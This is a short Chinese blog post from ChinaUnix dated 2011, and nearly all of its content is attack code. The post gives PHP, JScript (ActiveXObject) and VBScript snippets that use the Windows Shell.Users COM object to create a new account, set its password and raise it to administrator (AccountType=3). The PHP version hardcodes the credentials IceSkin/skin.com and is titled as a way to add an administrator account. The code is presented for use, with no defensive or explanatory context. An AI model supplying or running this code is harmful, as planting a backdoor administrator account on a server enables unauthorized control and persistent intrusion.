Chinaunix首页 | 论坛 | 博客
  • 博客访问: 371672
  • 博文数量: 48
  • 博客积分: 2562
  • 博客等级: 少校
  • 技术积分: 402
  • 用 户 组: 普通用户
  • 注册时间: 2005-11-03 09:10
个人简介

时不我待。

文章分类

全部博文(48)

文章存档

2020年(3)

2013年(1)

2012年(5)

2011年(9)

2010年(4)

2009年(9)

2008年(15)

2005年(2)

分类: Python/Ruby

2011-12-23 23:24:32

echo "
PHP 版Shell.Users加管理员帐号
";
$username="IceSkin";
$password="skin.com";
$su = new COM("Shell.Users");
$h=$su->create($username);
$h->changePassword($password,"");
$h->setting["AccountType"] = 3;//这句很重要可以把用户加入administrators 组,
?>

var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;


vbs:
Set  o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
阅读(1683) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~